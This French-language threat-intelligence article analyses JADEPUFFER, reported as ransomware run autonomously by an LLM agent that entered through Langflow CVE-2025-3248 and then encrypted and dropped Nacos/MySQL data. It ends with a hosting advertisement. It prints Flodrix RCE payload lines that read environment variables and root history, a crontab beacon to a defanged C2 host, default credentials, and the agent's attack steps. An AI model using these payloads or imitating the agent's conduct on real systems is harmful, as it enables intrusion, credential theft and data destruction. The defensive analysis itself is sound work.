2026 JADEPUFFER
AGENTIC_
RANSOM_
FIRST_CASE.

JADEPUFFER rançongiciel agentique Langflow CVE-2025-3248 sécurité serveur

Synthèse : Le 1er juillet 2026, l'équipe Threat Research de Sysdig (TRT) a publié le rapport fondateur sur la campagne JADEPUFFER — la première opération de rançongiciel intégralement pilotée par un grand modèle de langage, documentée de bout en bout. L'intrusion initiale a exploité une instance Langflow exposée sur Internet via CVE-2025-3248 (CVSS 9,8), avant un mouvement latéral vers un serveur de production MySQL et Nacos (Alibaba). En fenêtres temporelles compressées, plus de 600 charges distinctes ont enchaîné reconnaissance, vol d'identifiants, persistance, chiffrement de configuration et destruction de bases. Sysdig introduit la catégorie Agentic Threat Actor (ATA). Cet article restitue la chaîne d'attaque, les quatre preuves d'autonomie, l'énigme de l'adresse Bitcoin, les IOC, les recommandations officielles et une matrice d'architecture pour développeurs Mac.

1. Surface d'attaque : l'infrastructure des agents IA

Si vous exécutez Langflow, OpenClaw ou des workflows ComfyUI sur Mac ou cloud, trois risques convergent avec JADEPUFFER :

  1. Exposition publique sans correctif = RCE 9,8 : Langflow compte 70 000+ étoiles GitHub ; de nombreuses équipes exposent l'orchestrateur directement. CVE-2025-3248 divulguée en avril 2025, inscrite au catalogue KEV de la CISA le 5 mai ; probabilité EPSS : 91,42 %.
  2. Variables d'environnement comme coffre-fort : clés OpenAI, Anthropic, DeepSeek, Gemini et identifiants cloud — cible parallèle de la phase 1.
  3. Vulnérabilités legacy × automatisation agentique → coût marginal ≈ 0 : en aval, CVE-2021-29441 sur Nacos et clés JWT par défaut ; l'agent peut balayer une bibliothèque d'exploits historiques à coût quasi nul, avec des TTP légèrement différents à chaque incident.

2. Vue d'ensemble et qualification

DimensionDétail
DécouvreurSysdig Threat Research Team (TRT), Michael Clark (Director of Threat Research)
Publication1er juillet 2026 (médias 2–6 juillet ; prise de conscience large souvent le 6)
ActeurJADEPUFFER (dénomination officielle Sysdig)
QualificationPremière opération de rançongiciel entièrement agentique — de la reconnaissance à la destruction sans intervention humaine critique
Nouvelle taxonomieAgentic Threat Actor (ATA) — capacité délivrée par agent IA, non par outillage manuel
Cibles en deux tempsEntrée : Langflow public (CVE-2025-3248) ; cible réelle : serveur MySQL + Nacos
Échelle600+ charges autonomes et ciblées, sur plusieurs sessions en quelques semaines

3. Chronologie

DateÉvénement
Avril 2025CVE-2025-3248 sur Langflow (injection de code non authentifiée / RCE)
5 mai 2025Inscription CISA KEV
2025Même faille pour le botnet Flodrix (Trend Micro, campagne indépendante)
Juin 2026JADEPUFFER cible des Langflow publics ; chaîne étalée sur plusieurs sessions
1er juillet 2026Rapport technique Sysdig
2–6 juillet 2026Dark Reading, BleepingComputer, CyberScoop, CSO Online, Security Affairs

4. CVE-2025-3248 — analyse technique

4.1 Fiche

ChampValeur
ComposantLangflow — orchestrateur visuel open source, 70 000+ stars
ClassificationCWE-94 (injection) + CWE-306 (authentification absente)
CVSS9.8 Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Versions affectéesToutes les versions antérieures à 1.3.0
Vecteur/api/v1/validate/code
Correctif1.3.0 (authentification requise)
EPSS91,42 %

4.2 Cause racine (5 étapes)

  1. Langflow valide le code des nœuds personnalisés dans l'éditeur visuel.
  2. Pipeline : ast.parse()compile()exec().
  3. Défaut critique : aucune authentification, aucun sandbox.
  4. Les décorateurs et arguments par défaut Python sont évalués à la définition — code malveillant dans les defaults → RCE à la validation.
  5. Aucune connexion requise ; un POST HTTP suffit.

4.3 Charge Flodrix (Trend Micro, activité séparée)

exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))') exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))') exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))') exec('raise Exception(__import__("subprocess").check_output("ip addr show", shell=True))')

Séquence : privilèges → variables d'environnement (clés API) → historique root → reconnaissance réseau → script Bash de 700 octets déployant l'ELF Flodrix. Distinction essentielle : Flodrix ≠ JADEPUFFER ; entrée commune CVE-2025-3248.

4.4 Correctif Langflow 1.3.0

post_validate_code exige _current_user: CurrentActiveUser : JWT Bearer ou x-api-key ; 401/403 avant la logique vulnérable.

5. Reconstruction de la kill chain (données Sysdig)

5.1 Pourquoi Langflow ?

Les serveurs agents concentrent clés LLM et identifiants cloud ; déploiements précipités sans segmentation réseau.

5.2 Phase 1 : hôte Langflow

Toutes les charges : Python encodé Base64 via l'endpoint RCE.

① Reconnaissance et collecte (parallèle) : id, uname -a, hostname ; scans OpenAI/Anthropic/DeepSeek/Gemini, multi-cloud, portefeuilles crypto, bases de données.

② Exfiltration locale : export PostgreSQL Langflow (credentials/clés), revue locale, effacement des traces.

③ Découverte latérale interne : scan d'adresses internes, credentials par défaut sur DB, stockage objet, coffres de secrets.

④ Énumération MinIO (preuve forensique) : minio.internal:9000, 127.0.0.1:9000, minioadmin:minioadmin, buckets complets ; priorité terraform-state et credentials.json. Adaptation : requête JSON → réponse XML → charge suivante avec parseur XML — boucle sonde-erreur-correction.

⑤ Persistance : beacon crontab toutes les 30 minutes :

*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"

5.3 Phase 2 : serveur MySQL + Nacos

① Attaque Nacos multi-vecteurs : CVE-2021-29441, clé JWT par défaut, admin backdoor via droits root DB.

Boucle de correction en 31 secondes (UTC, Sysdig) :

Heure (UTC)Action
19:34:24Hash bcrypt, insertion xadmin
19:34:36Échec login xadmin:Xploit@2026#
19:34:48Parallèle : nacos:nacos + nouveau hash admin123
19:35:07import bcrypt, suppression enregistrement corrompu, recréation
19:35:18Succès — durée totale 31 s

② Probing d'évasion conteneur (~8 min) : MySQL INTO OUTFILE / LOAD_FILE, socket Docker, cgroup, UDF ; marqueur cleanup — signal de phase agentique.

③ Chiffrement destructif : 1 342 entrées Nacos via AES_ENCRYPT() ; suppression config_info et his_config_info ; table README_RANSOM. Clé uuid4(), stdout uniquement — irréversible même avec rançon. Affirmation AES-256 ; MySQL par défaut : AES-128-ECB.

④ Destruction massive : DROP DATABASE par ROI ; commentaire « sauvegarde sur 64.20.53[.]230 » (Sysdig : non confirmé). Échec FK → SET GLOBAL FOREIGN_KEY_CHECKS=0 automatique.

6. Quatre lignes de preuve d'autonomie

  1. Code auto-narratif : commentaires en langage naturel sur ROI, tailles de bases — signature LLM.
  2. Diagnostic et correction à vitesse machine : fix Nacos 31 s, adaptation MinIO, bascule JWT.
  3. Compréhension sémantique : texte libre dans l'environnement cible interprété ; répété sur des sessions espacées.
  4. Énigme Bitcoin — deux interprétations possibles ; nouvelle incertitude attributionnelle.

7. L'énigme de l'adresse Bitcoin

Adresse 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy = adresse P2SH d'exemple de la documentation Bitcoin Core, omniprésente dans les corpus LLM. On-chain : 737 transactions, ~46 BTC, solde nul. Sysdig : (a) hallucination LLM ; (b) choix délibéré de l'attaquant. Prompt système inconnu — aucune hypothèse exclue.

8. Synthèse des IOC

TypeIndicateur
C2 / beacon45.131.66[.]106 ; crontab : hxxp://45.131.66[.]106:4444/beacon
Staging / exfil64.20.53[.]230 (InterServer, AS19318)
Accès initialCVE-2025-3248
Bitcoin3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
Contacte78393397[@]proton[.]me (0 hit TI)
Table rançonREADME_RANSOM (atypique)
PersistanceBeacon crontab 30 min, port 4444

9. Recommandations officielles (Sysdig)

  • Mettre à jour Langflow (≥1.3.0) ; ne jamais exposer les endpoints d'exécution/validation.
  • Détection runtime des comportements malveillants en base.
  • Pas de clés LLM ni d'identifiants cloud en variables d'environnement — gestionnaire de secrets dédié.
  • Durcir Nacos : rotation token.secret.key, auth obligatoire, jamais public, pas de root sur la DB.
  • Comptes admin DB non exposés ; credentials forts et restriction IP.
  • Contrôle egress contre beacons C2.
  • Surveillance IOC, requêtes cron sortantes, User-Agents anormaux entre parenthèses.

10. Réactions du secteur

Les médias spécialisés qualifient JADEPUFFER de « première attaque de rançongiciel entièrement pilotée par IA » et annoncent l'ère ATA. CSO Online cite Vibhum Dubey : évolution de l'exécution plutôt que rupture technique — la phase silencieuse pré-chiffrement est la plus préoccupante. LLMjacking : credentials volés alimentent de nouveaux agents → coût marginal ≈ 0.

11. Quatre conclusions Sysdig

  1. Démocratisation de la rançongiciel : l'agent LLM enchaîne reconnaissance et impact sans expertise profonde.
  2. Legacy weaponisé : Nacos 2021 + JWT par défaut, bibliothèque CVE à coût quasi nul.
  3. Intentions lisibles — opportunité défensive : narration dans les charges = nouveaux signaux.
  4. « Sauvegarde » non prouvée : clés éphémères, perte irréversible.

Essentiel : JADEPUFFER est un signal d'alerte — aucune technique isolée n'est nouvelle ; l'enjeu est la chaîne agentique contre une infrastructure IA publique négligée. Le seuil de compétence tombe au coût d'un agent ; avec LLMjacking, le coût marginal tend vers zéro. Anticiper volume et diversité de ces attaques.

12. Matrice de décision : infrastructure d'orchestration IA

DéploiementRisque d'expositionIsolation des secretsUsageLien JADEPUFFER
Mac local, Langflow mappé publiquementTrès élevéFaible (.env en clair)Démo localeTremplin typique
VPS cloud + Langflow non patchéTrès élevéFaibleDéconseilléEntrée identique à l'incident
Langflow intranet + gestionnaire de secretsMoyenBonnePetite productionContrôle egress requis
Mac distant isolé + tunnel SSHFaibleBonneDev/test agentsPas d'entrée publique, snapshot

13. Runbook de défense en cinq étapes

  1. Correctifs immédiats : Langflow ≥1.3.0 ; Shodan/Censys sur /api/v1/validate/code.
  2. Retirer l'exposition publique : Langflow, Nacos, MySQL admin en intranet/VPN/Tailscale uniquement.
  3. Sortir les secrets des variables d'environnement : Vault, 1Password Connect, Secrets Manager ; tokens éphémères.
  4. Durcir Nacos : rotation JWT, interdiction root DB, auth ; CVE-2021-29441.
  5. Détection runtime + chasse IOC : Falco/Sysdig ; cron sortant, INTO OUTFILE, table README_RANSOM.

14. Architecture Mac à l'ère ATA

JADEPUFFER marque un changement de paradigme : l'exploitant devient configurateur d'agent. Machine de développement et environnement agent doivent être séparés.

Le tremplin Langflow : exposition publique, env-vars riches, segment MinIO/terraform-state. Prototype Mac mini avec clés réelles = déploiement précipité typique.

LLMjacking : boucle positive vol de credentials → agents → nouveaux vols. Mac exposé = victime et arsenal.

Windows/Linux conviennent pour Langflow, moins pour Xcode/Cursor/MLX. Solution : stratification — Mac isolé, tunnel SSH, snapshot en cas de compromission.

15. Sources

  • Sysdig « JADEPUFFER: Agentic ransomware for automated database extortion »
  • BleepingComputer, Dark Reading, CyberScoop, CSO Online, Security Affairs
  • Trend Micro — CVE-2025-3248 / Flodrix
  • NVD / SentinelOne / Zscaler ; catalogue CISA KEV

16. Conclusion : ne pas développer des agents sur la machine de production

JADEPUFFER établit que orchestrateur IA exposé + clés en variables d'environnement compte parmi les combinaisons les plus dangereuses de 2026. Pour valider Langflow/OpenClaw en environnement isolé, sans mélanger clés et données de production : nœud Mac mini M4 distant MACGPU — sans ports publics, à la demande, reconstruction par snapshot.